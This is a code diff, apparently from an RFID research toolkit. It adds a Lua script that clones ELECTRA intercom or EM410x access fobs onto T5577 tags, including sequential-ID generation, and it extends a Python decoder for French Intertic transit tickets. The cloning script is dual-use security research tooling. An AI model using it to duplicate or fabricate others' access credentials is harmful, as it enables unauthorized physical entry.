print("\nthese are the MCD MSN0 MSN1 MSN2 from the Tag that has being read:") print("\nthese are the MCD MSN0 MSN1 MSN2 from the Tag that has being read:")
-- readbytes is a usbcommandOLD package, hence 32 bytes offset until data. -- readbytes is a table with uid data as hex string in Data key
plainBytes[1] = ('%02x'):format(readbytes:byte(33)) plainBytes[1] = readbytes.Data:sub(1,2)
plainBytes[2] = ('%02x'):format(readbytes:byte(34)) plainBytes[2] = readbytes.Data:sub(3,4)
plainBytes[3] = ('%02x'):format(readbytes:byte(35)) plainBytes[3] = readbytes.Data:sub(5,6)
plainBytes[4] = ('%02x'):format(readbytes:byte(36)) plainBytes[4] = readbytes.Data:sub(7,8)
MCD = plainBytes[1] MCD = plainBytes[1]
MSN0 = plainBytes[2] MSN0 = plainBytes[2]

View file

@ -0,0 +1,326 @@
local getopt = require('getopt')
local utils = require('utils')
local ac = require('ansicolors')
local os = require('os')
local count = 0
line = '-------------------------------------------------------------------------'
mod = " ELECTRA or EM410x fob cloning SCRIPT "
version = " v1.1.17 02/09/2023 made by jareckib "
desc = [[
Cloning new ELECTRA tags or EM410x to T5577 tag. This script changes
block 0. Additional data is written to block 3 and 4. The last
ELECTRA ID can be accessed through the option ---> "-c". For copy
directly from the original ELECTRA tag, ---> option "-e". For copy
from input, EM410X ID ---> option "-s". Next option for cloning simple
EM4102 ---> option "-m". If press <Enter> it, which writes an ID.
If press <n> ---> exit the script.
]]
example = [[
-------------------------------------------------------------------------------
--------------- cloning ELECTRA tag from input ID to T5577 tag ----------------
script run lf_electra -s 11AA22BB55
----------------- continue cloning from last cloned ELECTRA -------------------
script run lf_electra -c
---------------------- ELECTRA cloning from the original TAG -----------------
script run lf_electra -e
----------------------------- simple EM4102 cloning ---------------------------
script run lf_electra -m
-------------------------------------------------------------------------------
]]
usage = [[
script run lf_electra.lua [-e] [-h] [-c] [-m] [-s <ID HEX number>]
]]
arguments = [[
-h : this help
-c : continue cloning from last ID used
-s : ELECTRA - EM410x ID HEX number
-e : Read original ELECTRA from Proxmark3 device
-m : EM410x cloning
]]
--------------------------------------Path to logs files
local DEBUG = false
local dir = os.getenv('HOME')..'/.proxmark3/logs/'
local LAST_ID = os.getenv('HOME')..'/.proxmark3/logs/last_id.txt'
local ID_STATUS = (io.popen('dir /a-d /o-d /tw /b/s "'..dir..'" 2>nul:'):read("*a"):match"%C+")
if not ID_STATUS then
error"No files in this directory"
end
-------------------------------------------A debug printout-function
local function dbg(args)
if not DEBUG then return end
if type(args) == 'table' then
local i = 1
while args[i] do
dbg(args[i])
i = i+1
end
else
print('###', args)
end
end
------------------------------------------------- errors
local function oops(err)
core.console('clear')
print( string.rep('--',39) )
print( string.rep('--',39) )
print(ac.red..' ERROR:'..ac.reset.. err)
print( string.rep('--',39) )
print( string.rep('--',39) )
return nil, err
end
-----------------------------------------------sleep
local function sleep(n)
os.execute("sleep " ..tonumber(n))
end
--------------------wait
function wait(msec)
local t = os.clock()
repeat
until os.clock() > t + msec * 1e-3
end
----------------------------------------------time wait
local function timer(n)
while n > 0 do
io.write(ac.cyan.." ::::: "..ac.yellow.. tonumber(n) ..ac.yellow.." sec "..ac.cyan..":::::\r"..ac.reset)
sleep(1)
io.flush()
n = n-1
end
end
----------------------------------------------------- help
local function help()
core.console('clear')
print(line)
print(ac.cyan..mod..ac.reset)
print(ac.cyan..version..ac.reset)
print(ac.yellow..desc..ac.reset)
print(line)
print(ac.cyan..' Usage'..ac.reset)
print(usage)
print(ac.cyan..' Arguments'..ac.reset)
print(arguments)
print(line)
timer(30)
core.console('clear')
print(ac.cyan..' Example usage'..ac.reset)
print(example)
end
------------------------------------ Exit message
local function exitMsg(msg)
print( string.rep('--',39) )
print( string.rep('--',39) )
print(msg)
print()
end
--------------------------------- idsearch EM ID
local function id()
local f = assert(io.open(ID_STATUS, "r"))
for line in f:lines() do
id = line:match"^%[%+%] EM 410x ID (%x+)"
if id then break end
end
f:close()
local f= io.open(ID_STATUS, "w+")
f:write(id)
f:close()
local f= io.open(ID_STATUS, "r")
local t = f:read("*all")
f:close()
local hex_hi = tonumber(t:sub(1, 2), 16)
local hex_low = tonumber(t:sub(3, 10), 16)
return hex_hi, hex_low
end
---------------------------------------read file
local function readfile()
local f = io.open(ID_STATUS, "r")
for line in f:lines() do
id = line:match"^(%x+)"
if id then break end
end
f:close()
if not id then
return oops (" ....No ID found in file") end
local f= io.open(ID_STATUS, "r")
local t = f:read("*all")
f:close()
local hex_hi = tonumber(t:sub(1, 2), 16)
local hex_low = tonumber(t:sub(3, 10), 16)
return hex_hi, hex_low
end
----------------------------------------last ID
local function IDsaved()
local f = io.open(LAST_ID, "r")
for line in f:lines() do
id = line:match"^(%x+)"
if id then break end
end
f:close()
if not id then
return oops (" ....No ID found in file") end
local f= io.open(LAST_ID, "r")
local t = f:read("*all")
f:close()
local hex_hi = tonumber(t:sub(1, 2), 16)
local hex_low = tonumber(t:sub(3, 10), 16)
return hex_hi, hex_low
end
----------------------------------------write file
local function writefile(hex_hi, hex_low)
local f = io.open(ID_STATUS, "w+")
local g = io.open(LAST_ID, 'w+')
f:write(("%02X%08X\n"):format(hex_hi, hex_low))
f:close()
g:write(("%02X%08X\n"):format(hex_hi, hex_low))
g:close()
print((' Saved EM410x ID '..ac.green..'%02X%08X'..ac.reset..' to TXT file:'):format(hex_hi, hex_low))
print((ac.yellow..' %s'..ac.reset):format(LAST_ID))
return true, 'Ok'
end
---------------replace line
local last_str = ''
function txt_change(str)
io.write(('\b \b'):rep(#last_str)) -- old line
io.write(str) -- new line
io.flush()
last_str = str
end
---------------------------------------- main
local function main(args)
print( string.rep('--',39) )
print( string.rep('--',39) )
print()
if #args == 0 then return help() end
local saved_id = false
local id_original = false
local emarine = false
local input_id = ''
for o, a in getopt.getopt(args, 'hems:c') do
if o == 'h' then return help() end
if o == 'e' then id_original = true end
if o == 'm' then emarine = true end
if o == 's' then input_id = a end
if o == 'c' then saved_id = true end
end
--------------------check -id
if not saved_id and not id_original and not emarine then
if input_id == nil then return oops(' empty EM410x ID string') end
if #input_id == 0 then return oops(' empty EM410x ID string') end
if #input_id < 10 then return oops(' EM410x ID too short. Must be 5 hex bytes') end
if #input_id > 10 then return oops(' EM410x ID too long. Must be 5 hex bytes') end
end
core.console('clear')
print( string.rep('--',39) )
print(ac.green..' ....... OFF THE HINTS WILL BE LESS ON THE SCREEN'..ac.reset)
print( string.rep('--',39) )
core.console('pref set hint --off')
print( string.rep('--',39) )
timer(4)
core.console('clear')
local hi = tonumber(input_id:sub(1, 2), 16)
local low = tonumber(input_id:sub(3, 10), 16)
if saved_id then
hi, low = IDsaved()
print( string.rep('--',39) )
print( string.rep('--',39) )
print('')
print(ac.green..' ......Continue cloning from last saved ID'..ac.reset)
print('')
print( string.rep('--',39) )
end
if id_original then
print( string.rep('--',39) )
print( string.rep('--',39) )
print('')
print(ac.green..' Put the ELECTRA tag on the coil PM3 to read '..ac.reset)
print('')
print( string.rep('--',39))
print(string.rep('--',39))
end
if emarine then
print( string.rep('--',39) )
print( string.rep('--',39) )
print('')
print(ac.green..' Put the EM4102 tag on the coil PM3 to read '..ac.reset)
print('')
print( string.rep('--',39) )
print( string.rep('--',39) )
end
if emarine or id_original then
io.write(' Press'..ac.yellow..' Enter'..ac.reset..' to continue ... ');io.read()
txt_change(' Readed TAG : ')
core.console(' lf em 410x read')
print( string.rep('--',39) )
hi, low = id()
timer(7)
core.console('clear')
print( string.rep('--',39) )
print( string.rep('--',39) )
print('')
print(ac.green..' Continuation of the cloning process....'..ac.reset)
print('')
print( string.rep('--',39) )
end
if not emarine and not id_original and not saved_id then
print( string.rep('--',39) )
print( string.rep('--',39) )
print('')
print(ac.green..' ........ ELECTRA cloning from Entered EM-ELECTRA ID'..ac.reset)
print('')
print( string.rep('--',39) )
end
if emarine then
d = ('EM4102 ID ')
else
d =('ELECTRA ID ')
end
local template = ((d)..ac.green..'%02X%08X'..ac.reset)
for i = low, low + 100, 1 do
local msg = (template):format(hi, low)
print( string.rep('--',39) )
if count > 0 then
print((' TAGs created: '..ac.green..'%s'..ac.reset):format(count))
print( string.rep('--',39) )
end
print((' %s >>>>>> cloning to '..ac.cyan..'T5577 -'..ac.yellow..' Enter'..ac.reset..' for yes or '..ac.yellow..'n'..ac.reset..' for exit'):format(msg))
print(' Before confirming the cloning operation, put a blank '..ac.cyan..'T5577'..ac.reset..' tag on coil'..ac.cyan..' PM3'..ac.reset..' !')
print( string.rep('--',39) )
io.write(' Continue with this operation'..ac.yellow..' (Enter/n)'..ac.reset..' ? > ')
answer = io.read()
if answer == 'n' then
core.console('clear')
print( string.rep('--',39) )
print(ac.red..' USER ABORTED'..ac.reset)
print( string.rep('--',39) )
break
end
core.console('clear')
print( string.rep('--',39) )
if emarine then
core.console( ('lf em 410x clone --id %02X%08X'):format(hi, low) )
else
core.console( ('lf em 410x clone --id %02X%08X'):format(hi, low) )
core.console('lf t55 write -b 0 -d 00148080')
core.console('lf t55 write -b 3 -d 7E1EAAAA')
core.console('lf t55 write -b 4 -d AAAAAAAA')
end
count = count+1
end
writefile(hi, low)
core.console('pref set hint --on')
print( string.rep('--',39) )
if count > 0 then
print((' TAGs created: '..ac.green..'%s'..ac.reset):format(count))
print( string.rep('--',39) )
end
end
main(args)

View file

@ -21,10 +21,14 @@ import sys, os
from datetime import datetime, timedelta from datetime import datetime, timedelta
from bitarray import bitarray from bitarray import bitarray
from bitarray.util import ba2int from bitarray.util import ba2int
from typing import NamedTuple
class BitMe: class BitMe:
def __init__(self): def __init__(self):
self.data = bitarray() self.data = bitarray(endian = 'big')
self.idx = 0
def reset(self):
self.idx = 0 self.idx = 0
def addBits(self, bits): def addBits(self, bits):
@ -47,61 +51,233 @@ class BitMe:
def isEmpty(self): def isEmpty(self):
return (len(self.data) == 0) return (len(self.data) == 0)
'''
A generic Describe_Usage function with variable number of bits between stamps will be more optimal
At this time I want to keep more places/functions to try to parse other fields in 'unk1' and 'left'
'''
TYPE_EventCode_Nature = {
0x1: 'urban bus',
0x2: 'interurban bus',
0x3: 'metro',
0x4: 'tramway',
0x5: 'train',
0x8: 'parking',
}
TYPE_EventCode_Type = {
0x1: 'entry validation',
0x2: 'exit validation',
0x4: 'ticket inspecting',
0x6: 'connection entry validation',
0x14: 'test validation',
0x15: 'connection exit validation',
0x16: 'canceled validation',
0x17: 'invalidation',
0x18: 'distribution',
}
TYPE_EventGeoRoute_Direction = {
0: 'undefined',
1: 'outward',
2: 'inward',
3: 'circular',
}
def Describe_Usage_1(Usage, ContractMediumEndDate, Certificate):
EventDateStamp = Usage.nom(10)
EventTimeStamp = Usage.nom(11)
unk = Usage.nom_bits(65)
EventValidityTimeFirstStamp = Usage.nom(11)
print(' EventDateStamp : {} ({})'.format(EventDateStamp, (datetime(1997, 1, 1) + timedelta(days = ContractMediumEndDate - EventDateStamp)).strftime('%Y-%m-%d')));
print(' EventTimeStamp : {} ({:02d}:{:02d})'. format(EventTimeStamp, EventTimeStamp // 60, EventTimeStamp % 60))
print(' unk1... :', unk);
print(' EventValidityTimeFirstStamp: {} ({:02d}:{:02d})'. format(EventValidityTimeFirstStamp, EventValidityTimeFirstStamp // 60, EventValidityTimeFirstStamp % 60))
print(' left... :', Usage.nom_bits_left());
print(' [CER] Usage : {:04x}'.format(Certificate.nom(16)))
def Describe_Usage_1_1(Usage, ContractMediumEndDate, Certificate):
EventDateStamp = Usage.nom(10)
EventTimeStamp = Usage.nom(11)
unk0 = Usage.nom_bits(8)
EventCode_Nature = Usage.nom(5)
EventCode_Type = Usage.nom(5)
unk1 = Usage.nom_bits(11)
EventGeoVehicleId = Usage.nom(16)
EventGeoRouteId = Usage.nom(14)
EventGeoRoute_Direction = Usage.nom(2)
EventCountPassengers_mb = Usage.nom(4)
EventValidityTimeFirstStamp = Usage.nom(11)
print(' DateStamp : {} ({})'.format(EventDateStamp, (datetime(1997, 1, 1) + timedelta(days = ContractMediumEndDate - EventDateStamp)).strftime('%Y-%m-%d')));
print(' TimeStamp : {} ({:02d}:{:02d})'. format(EventTimeStamp, EventTimeStamp // 60, EventTimeStamp % 60))
print(' unk0... :', unk0);
print(' Code/Nature : 0x{:x} ({})'.format(EventCode_Nature, TYPE_EventCode_Nature.get(EventCode_Nature, '?')))
print(' Code/Type : 0x{:x} ({})'.format(EventCode_Type, TYPE_EventCode_Type.get(EventCode_Type, '?')))
print(' unk1... :', unk1);
print(' GeoVehicleId : {}'. format(EventGeoVehicleId))
print(' GeoRouteId : {}'. format(EventGeoRouteId))
print(' Direction : {} ({})'. format(EventGeoRoute_Direction, TYPE_EventGeoRoute_Direction.get(EventGeoRoute_Direction, '?')))
print(' Passengers(?) : {}'. format(EventCountPassengers_mb))
print(' ValidityTimeFirstStamp: {} ({:02d}:{:02d})'. format(EventValidityTimeFirstStamp, EventValidityTimeFirstStamp // 60, EventValidityTimeFirstStamp % 60))
print(' left... :', Usage.nom_bits_left());
print(' [CER] Usage : {:04x}'.format(Certificate.nom(16)))
def Describe_Usage_1_2(Usage, ContractMediumEndDate, Certificate):
EventDateStamp = Usage.nom(10)
EventTimeStamp = Usage.nom(11)
EventCount_mb = Usage.nom(6)
unk0 = Usage.nom_bits(4)
EventCode_Nature_mb = Usage.nom(4)
EventCode_Type_mb = Usage.nom(4)
unk1 = Usage.nom_bits(11)
EventGeoVehicleId = Usage.nom(16)
EventGeoRouteId = Usage.nom(14)
EventGeoRoute_Direction = Usage.nom(2)
EventCountPassengers_mb = Usage.nom(4)
EventValidityTimeFirstStamp = Usage.nom(11)
TYPE_EventCode_Nature_Reims = { # usually it's the opposite, but ... ?
0x4: 'urban bus',
0x1: 'tramway',
}
print(' DateStamp : {} ({})'.format(EventDateStamp, (datetime(1997, 1, 1) + timedelta(days = ContractMediumEndDate - EventDateStamp)).strftime('%Y-%m-%d')));
print(' TimeStamp : {} ({:02d}:{:02d})'. format(EventTimeStamp, EventTimeStamp // 60, EventTimeStamp % 60))
print(' Count(?) : {}'. format(EventCount_mb))
print(' unk0... :', unk0);
print(' Code/Nature(?) : 0x{:x} ({})'.format(EventCode_Nature_mb, TYPE_EventCode_Nature_Reims.get(EventCode_Nature_mb, '?')))
print(' Code/Type(?) : 0x{:x} ({})'.format(EventCode_Type_mb, TYPE_EventCode_Type.get(EventCode_Type_mb, '?')))
print(' unk1... :', unk1);
print(' GeoVehicleId : {}'. format(EventGeoVehicleId))
print(' GeoRouteId : {}'. format(EventGeoRouteId))
print(' Direction : {} ({})'. format(EventGeoRoute_Direction, TYPE_EventGeoRoute_Direction.get(EventGeoRoute_Direction, '?')))
print(' Passengers(?) : {}'. format(EventCountPassengers_mb))
print(' ValidityTimeFirstStamp: {} ({:02d}:{:02d})'. format(EventValidityTimeFirstStamp, EventValidityTimeFirstStamp // 60, EventValidityTimeFirstStamp % 60))
print(' left... :', Usage.nom_bits_left());
print(' [CER] Usage : {:04x}'.format(Certificate.nom(16)))
def Describe_Usage_2(Usage, ContractMediumEndDate, Certificate):
EventDateStamp = Usage.nom(10)
EventTimeStamp = Usage.nom(11)
unk0 = Usage.nom_bits(8)
EventCode_Nature = Usage.nom(5)
EventCode_Type = Usage.nom(5)
unk1 = Usage.nom_bits(11)
EventGeoRouteId = Usage.nom(14)
EventGeoRoute_Direction = Usage.nom(2)
EventCountPassengers_mb = Usage.nom(4)
EventValidityTimeFirstStamp = Usage.nom(11)
print(' DateStamp : {} ({})'.format(EventDateStamp, (datetime(1997, 1, 1) + timedelta(days = ContractMediumEndDate - EventDateStamp)).strftime('%Y-%m-%d')));
print(' TimeStamp : {} ({:02d}:{:02d})'. format(EventTimeStamp, EventTimeStamp // 60, EventTimeStamp % 60))
print(' unk0... :', unk0);
print(' Code/Nature : 0x{:x} ({})'.format(EventCode_Nature, TYPE_EventCode_Nature.get(EventCode_Nature, '?')))
print(' Code/Type : 0x{:x} ({})'.format(EventCode_Type, TYPE_EventCode_Type.get(EventCode_Type, '?')))
print(' unk1... :', unk1);
print(' GeoRouteId : {}'. format(EventGeoRouteId))
print(' Direction : {} ({})'. format(EventGeoRoute_Direction, TYPE_EventGeoRoute_Direction.get(EventGeoRoute_Direction, '?')))
print(' Passengers(?) : {}'. format(EventCountPassengers_mb))
print(' ValidityTimeFirstStamp: {} ({:02d}:{:02d})'. format(EventValidityTimeFirstStamp, EventValidityTimeFirstStamp // 60, EventValidityTimeFirstStamp % 60))
print(' left... :', Usage.nom_bits_left());
print(' [CER] Usage : {:04x}'.format(Certificate.nom(16)))
def Describe_Usage_3(Usage, ContractMediumEndDate, Certificate):
EventDateStamp = Usage.nom(10)
EventTimeStamp = Usage.nom(11)
unk = Usage.nom_bits(27)
EventValidityTimeFirstStamp = Usage.nom(11)
print(' EventDateStamp : {} ({})'.format(EventDateStamp, (datetime(1997, 1, 1) + timedelta(days = ContractMediumEndDate - EventDateStamp)).strftime('%Y-%m-%d')));
print(' EventTimeStamp : {} ({:02d}:{:02d})'. format(EventTimeStamp, EventTimeStamp // 60, EventTimeStamp % 60))
print(' unk1... :', unk);
print(' EventValidityTimeFirstStamp: {} ({:02d}:{:02d})'. format(EventValidityTimeFirstStamp, EventValidityTimeFirstStamp // 60, EventValidityTimeFirstStamp % 60))
print(' left... :', Usage.nom_bits_left());
print(' [CER] Usage : {:04x}'.format(Certificate.nom(16)))
def Describe_Usage_4(Usage, ContractMediumEndDate, Certificate):
EventDateStamp = Usage.nom(10)
EventTimeStamp = Usage.nom(11)
unk = Usage.nom_bits(63)
EventValidityTimeFirstStamp = Usage.nom(11)
print(' EventDateStamp : {} ({})'.format(EventDateStamp, (datetime(1997, 1, 1) + timedelta(days = ContractMediumEndDate - EventDateStamp)).strftime('%Y-%m-%d')));
print(' EventTimeStamp : {} ({:02d}:{:02d})'. format(EventTimeStamp, EventTimeStamp // 60, EventTimeStamp % 60))
print(' unk1... :', unk);
print(' EventValidityTimeFirstStamp: {} ({:02d}:{:02d})'. format(EventValidityTimeFirstStamp, EventValidityTimeFirstStamp // 60, EventValidityTimeFirstStamp % 60))
print(' left... :', Usage.nom_bits_left());
print(' [CER] Usage : {:04x}'.format(Certificate.nom(16)))
def Describe_Usage_Generic(Usage, ContractMediumEndDate, Certificate):
print(' !!! GENERIC DUMP - please provide full file dump to benjamin@gentilkiwi.com - especially if NOT empty !!!')
print(' left... :', Usage.nom_bits_left());
print(' [CER] Usage : {:04x}'.format(Certificate.nom(16)))
print(' !!! Trying Usage_1 (the most common) !!!')
Usage.reset()
Certificate.reset()
Describe_Usage_1(Usage, ContractMediumEndDate, Certificate)
class InterticHelper(NamedTuple):
OrganizationalAuthority: str
ContractProvider: str
UsageDescribeFunction: callable = None
ISO_Countries = { ISO_Countries = {
0x250: 'France', 0x250: 'France',
} }
FRA_OrganizationalAuthority_Contract_Provider = { FRA_OrganizationalAuthority_Contract_Provider = {
0x000: { 0x000: {
5: 'Lille (Ilévia / Keolis)', 5: InterticHelper('Lille', 'Ilévia / Keolis', Describe_Usage_1_1),
7: 'Lens-Béthune (Tadao / Transdev)', 7: InterticHelper('Lens-Béthune', 'Tadao / Transdev', Describe_Usage_1_1),
}, },
0x006: { 0x006: {
1: 'Amiens (Ametis / Keolis)', 1: InterticHelper('Amiens', 'Ametis / Keolis'),
}, },
0x008: { 0x008: {
15: 'Angoulême (STGA)', 15: InterticHelper('Angoulême', 'STGA', Describe_Usage_1_1), # May have a problem with date ?
}, },
0x021: { 0x021: {
1: 'Bordeaux (TBM / Keolis)', 1: InterticHelper('Bordeaux', 'TBM / Keolis', Describe_Usage_1_1),
}, },
0x057: { 0x057: {
1: 'Lyon (TCL / Keolis)', 1: InterticHelper('Lyon', 'TCL / Keolis', Describe_Usage_1), # Strange usage ?, kept on generic 1
}, },
0x072: { 0x072: {
1: 'Tours (filbleu / Keolis)', 1: InterticHelper('Tours', 'filbleu / Keolis', Describe_Usage_1_1),
}, },
0x078: { 0x078: {
4: 'Reims (Citura / Transdev)', 4: InterticHelper('Reims', 'Citura / Transdev', Describe_Usage_1_2),
},
0x502: {
83: 'Annecy (Sibra)',
}, },
0x091: { 0x091: {
1: 'Strasbourg (CTS)', 1: InterticHelper('Strasbourg', 'CTS', Describe_Usage_4), # More dump needed, not only tram !
},
0x502: {
83: InterticHelper('Annecy', 'Sibra', Describe_Usage_2),
10: InterticHelper('Clermont-Ferrand', 'T2C'),
}, },
0x907: { 0x907: {
1: 'Dijon (Divia / Keolis)', 1: InterticHelper('Dijon', 'Divia / Keolis'),
}, },
0x908: { 0x908: {
1: 'Rennes (STAR / Keolis)', 1: InterticHelper('Rennes', 'STAR / Keolis', Describe_Usage_2),
8: 'Saint-Malo (MAT / RATP)', 8: InterticHelper('Saint-Malo', 'MAT / RATP', Describe_Usage_1_1),
}, },
0x911: { 0x911: {
5: 'Besançon (Ginko / Keolis)', 5: InterticHelper('Besançon', 'Ginko / Keolis'),
}, },
0x912: { 0x912: {
3: 'Le Havre (Lia / Transdev)', 3: InterticHelper('Le Havre', 'Lia / Transdev', Describe_Usage_1_1),
35: 'Cherbourg-en-Cotentin (Cap Cotentin / Transdev)', 35: InterticHelper('Cherbourg-en-Cotentin', 'Cap Cotentin / Transdev'),
}, },
0x913: { 0x913: {
3: 'Nîmes (Tango / Transdev)', 3: InterticHelper('Nîmes', 'Tango / Transdev', Describe_Usage_3),
}, },
0x917: { 0x917: {
4: 'Angers (Irigo / RATP)', 4: InterticHelper('Angers', 'Irigo / RATP', Describe_Usage_1_2),
7: 'Saint-Nazaire (Stran)', 7: InterticHelper('Saint-Nazaire', 'Stran'),
}, },
} }
@ -138,99 +314,73 @@ def main():
file.close() file.close()
SystemArea = BitMe()
Distribution_Data = BitMe() Distribution_Data = BitMe()
C1 = BitMe() Block0Left = BitMe()
C2 = BitMe() # Usage_DAT = BitMe()
Usage_Sta_B = BitMe() # Usage_CER = BitMe()
Usage_Sta_E = BitMe() Usage_A_DAT = BitMe()
Usage_Data = BitMe() Usage_A_CER = BitMe()
Usage_Cer = BitMe() Usage_B_DAT = BitMe()
Usage_B_CER = BitMe()
Distribution_Cer = BitMe() Distribution_Cer = BitMe()
SWAP = None
RELOADING1 = None
COUNTER1 = None
# RELOADING2 = None
# COUNTER2 = None
Describe_Usage = None
Distribution_Data_End = data.nom_bits(24) Block0Left.addBits(data.nom_bits(23))
SystemArea.addBits(data.nom_bits(8)) KeyId = data.nom(4)
PID = data.nom(5)
PID = SystemArea.nom(5)
bIsFlipFlop = PID & 0x10
KeyId = SystemArea.nom(3)
print()
print('PID (product): 0x{:02x} (flipflop?: {})'.format(PID, bIsFlipFlop));
print('KeyId :', hex(KeyId));
match PID: match PID:
case 0x02: case 0x10:
Distribution_Data.addBits(data.nom_bits(3 * 32)) Distribution_Data.addBits(data.nom_bits(2 * 32))
Usage_Data_End = data.nom_bits(30) Distribution_Data.addBits(Block0Left.nom_bits_left())
Usage_Sta_B.addBits(data.nom_bits(2)) Usage_A_DAT.addBits(data.nom_bits(2 * 32))
C1.addBits(data.nom_bits(32)) RELOADING1 = data.nom(8)
C2.addBits(data.nom_bits(32)) COUNTER1 = data.nom(24)
Usage_Data.addBits(data.nom_bits(7 * 32)) SWAP = data.nom(32)
Usage_Data.addBits(Usage_Data_End) Usage_A_DAT.addBits(data.nom_bits(2 * 32))
Usage_Data.addBits(data.nom_bits(14)) Usage_A_DAT.addBits(data.nom_bits(16))
Usage_Sta_E.addBits(data.nom_bits(2)) Usage_A_CER.addBits(data.nom_bits(16))
Usage_Cer.addBits(data.nom_bits(16)) Usage_B_DAT.addBits(data.nom_bits(4 * 32))
Usage_B_DAT.addBits(data.nom_bits(16))
Usage_B_CER.addBits(data.nom_bits(16))
Distribution_Cer.addBits(data.nom_bits(32)) Distribution_Cer.addBits(data.nom_bits(32))
case 0x06: case 0x11 | 0x19:
Distribution_Data.addBits(data.nom_bits(4 * 32)) Distribution_Data.addBits(data.nom_bits(4 * 32))
C1.addBits(data.nom_bits(32)) Distribution_Data.addBits(Block0Left.nom_bits_left())
C2.addBits(data.nom_bits(32)) RELOADING1 = data.nom(8)
Distribution_Data.addBits(data.nom_bits(3 * 32)) COUNTER1 = data.nom(24)
Distribution_Data.addBits(Distribution_Data_End) SWAP = data.nom(32)
Usage_Data_End = data.nom_bits(30) Usage_A_DAT.addBits(data.nom_bits(3 * 32))
Usage_Sta_B.addBits(data.nom_bits(2)) Usage_A_DAT.addBits(data.nom_bits(16))
Usage_Data.addBits(data.nom_bits(3 * 32)) Usage_A_CER.addBits(data.nom_bits(16))
Usage_Data.addBits(Usage_Data_End) Usage_B_DAT.addBits(data.nom_bits(3 * 32))
Usage_Data.addBits(data.nom_bits(14)) Usage_B_DAT.addBits(data.nom_bits(16))
Usage_Sta_E.addBits(data.nom_bits(2)) Usage_B_CER.addBits(data.nom_bits(16))
Usage_Cer.addBits(data.nom_bits(16))
Distribution_Cer.addBits(data.nom_bits(32))
case 0x07:
Distribution_Data.addBits(data.nom_bits(4 * 32))
C1.addBits(data.nom_bits(32))
C2.addBits(data.nom_bits(32))
Distribution_Data.addBits(data.nom_bits(4 * 32))
Distribution_Data.addBits(Distribution_Data_End)
Usage_Data_End = data.nom_bits(30)
Usage_Sta_B.addBits(data.nom_bits(2))
Usage_Data.addBits(data.nom_bits(3 * 32))
Usage_Data.addBits(Usage_Data_End)
Usage_Data.addBits(data.nom_bits(14))
Usage_Sta_E.addBits(data.nom_bits(2))
Usage_Cer.addBits(data.nom_bits(16))
Distribution_Cer.addBits(data.nom_bits(32))
case 0x0a:
Distribution_Data.addBits(data.nom_bits(4 * 32))
C1.addBits(data.nom_bits(32))
C2.addBits(data.nom_bits(32))
Distribution_Data.addBits(data.nom_bits(8 * 32))
Distribution_Data.addBits(Distribution_Data_End)
Distribution_Cer.addBits(data.nom_bits(32))
# No USAGE for 0x0a
case 0x0b: # Not in the draft :(
Distribution_Data.addBits(data.nom_bits(4 * 32))
C1.addBits(data.nom_bits(32))
C2.addBits(data.nom_bits(32))
Distribution_Data.addBits(data.nom_bits(8 * 32))
Distribution_Data.addBits(Distribution_Data_End)
Distribution_Cer.addBits(data.nom_bits(32)) Distribution_Cer.addBits(data.nom_bits(32))
case _: case _:
print('PID not (yet?) supported') print('PID not (yet?) supported: 0x{:02x}'.format(PID))
return 3 return 3
print('PID (product): 0x{:02x} (flipflop?: {})'.format(PID, (PID & 0x10) != 0));
print('KeyId : 0x{:1x}'.format(KeyId))
print()
''' '''
DISTRIBUTION DISTRIBUTION
------------ ------------
Not very well documented but seems standard for this part Not very well documented but seems standard for this part
''' '''
if not Distribution_Data.isEmpty():
ContractNetworkId = Distribution_Data.nom_bits(24) ContractNetworkId = Distribution_Data.nom_bits(24)
CountryCode = ba2int(ContractNetworkId[0:0+12]) CountryCode = ba2int(ContractNetworkId[0:0+12])
@ -243,21 +393,6 @@ def main():
Distribution_left = Distribution_Data.nom_bits_left() Distribution_left = Distribution_Data.nom_bits_left()
RELOADING1 = C1.nom(8)
COUNTER1 = C1.nom(24)
RELOADING2 = C2.nom(8)
COUNTER2 = C2.nom(24)
'''
USAGE
-----
No documentation about Usage
All is left
'''
Usage_left = Usage_Data.nom_bits_left()
if not Distribution_Data.isEmpty():
print()
print('DISTRIBUTION') print('DISTRIBUTION')
print(' CountryCode : {:03x} - {}'.format(CountryCode, ISO_Countries.get(CountryCode, '?'))); print(' CountryCode : {:03x} - {}'.format(CountryCode, ISO_Countries.get(CountryCode, '?')));
print(' OrganizationalAuthority : {:03x}'.format(OrganizationalAuthority)); print(' OrganizationalAuthority : {:03x}'.format(OrganizationalAuthority));
@ -268,23 +403,42 @@ def main():
if (oa is not None): if (oa is not None):
s = oa.get(ContractProvider) s = oa.get(ContractProvider)
if (s is not None): if (s is not None):
print(' ~ Authority & Provider ~ :', s) print(' ~ Authority & Provider ~ : {} ({})'.format(s.OrganizationalAuthority, s.ContractProvider))
Describe_Usage = s.UsageDescribeFunction
print(' ContractTariff :', ContractTariff); print(' ContractTariff :', ContractTariff);
print(' ContractMediumEndDate : {} ({})'.format(ContractMediumEndDate, (datetime(1997, 1, 1) + timedelta(days = ContractMediumEndDate)).strftime('%Y-%m-%d'))); print(' ContractMediumEndDate : {} ({})'.format(ContractMediumEndDate, (datetime(1997, 1, 1) + timedelta(days = ContractMediumEndDate)).strftime('%Y-%m-%d')));
print(' left... :', Distribution_left); print(' left... :', Distribution_left);
print(' [CER] Distribution : {:08x}'.format(Distribution_Cer.nom(32))) print(' [CER] Distribution : {:08x}'.format(Distribution_Cer.nom(32)))
print() print()
print('COUNTER')
print(' [1] Counter: 0x{:06x} - Reloading available 0x{:02x}'.format(COUNTER1, RELOADING1))
print(' [2] Counter: 0x{:06x} - Reloading available 0x{:02x}'.format(COUNTER2, RELOADING2))
if not Usage_Data.isEmpty(): if(Describe_Usage is None):
Describe_Usage = Describe_Usage_Generic
if COUNTER1 is not None:
print('[1] Counter: 0x{:06x} - Reloading available: 0x{:02x}'.format(COUNTER1, RELOADING1))
# if COUNTER2 is not None:
# print('[2] Counter: 0x{:06x} - Reloading available: 0x{:02x}'.format(COUNTER2, RELOADING2))
if SWAP is not None:
print('[S] SWAP : 0x{:08x} - last usage on USAGE_{}'.format(SWAP, 'B' if SWAP & 0b1 else 'A'))
'''
USAGE
-----
No real documentation about Usage
Nearly all is left... - did not seen implementation with 2 counters or 1 Usage
'''
if not Usage_A_DAT.isEmpty():
print() print()
print('USAGE') print('USAGE_A')
Describe_Usage(Usage_A_DAT, ContractMediumEndDate, Usage_A_CER)
if not Usage_B_DAT.isEmpty():
print()
print('USAGE_B')
Describe_Usage(Usage_B_DAT, ContractMediumEndDate, Usage_B_CER)
print(' left... :', Usage_left);
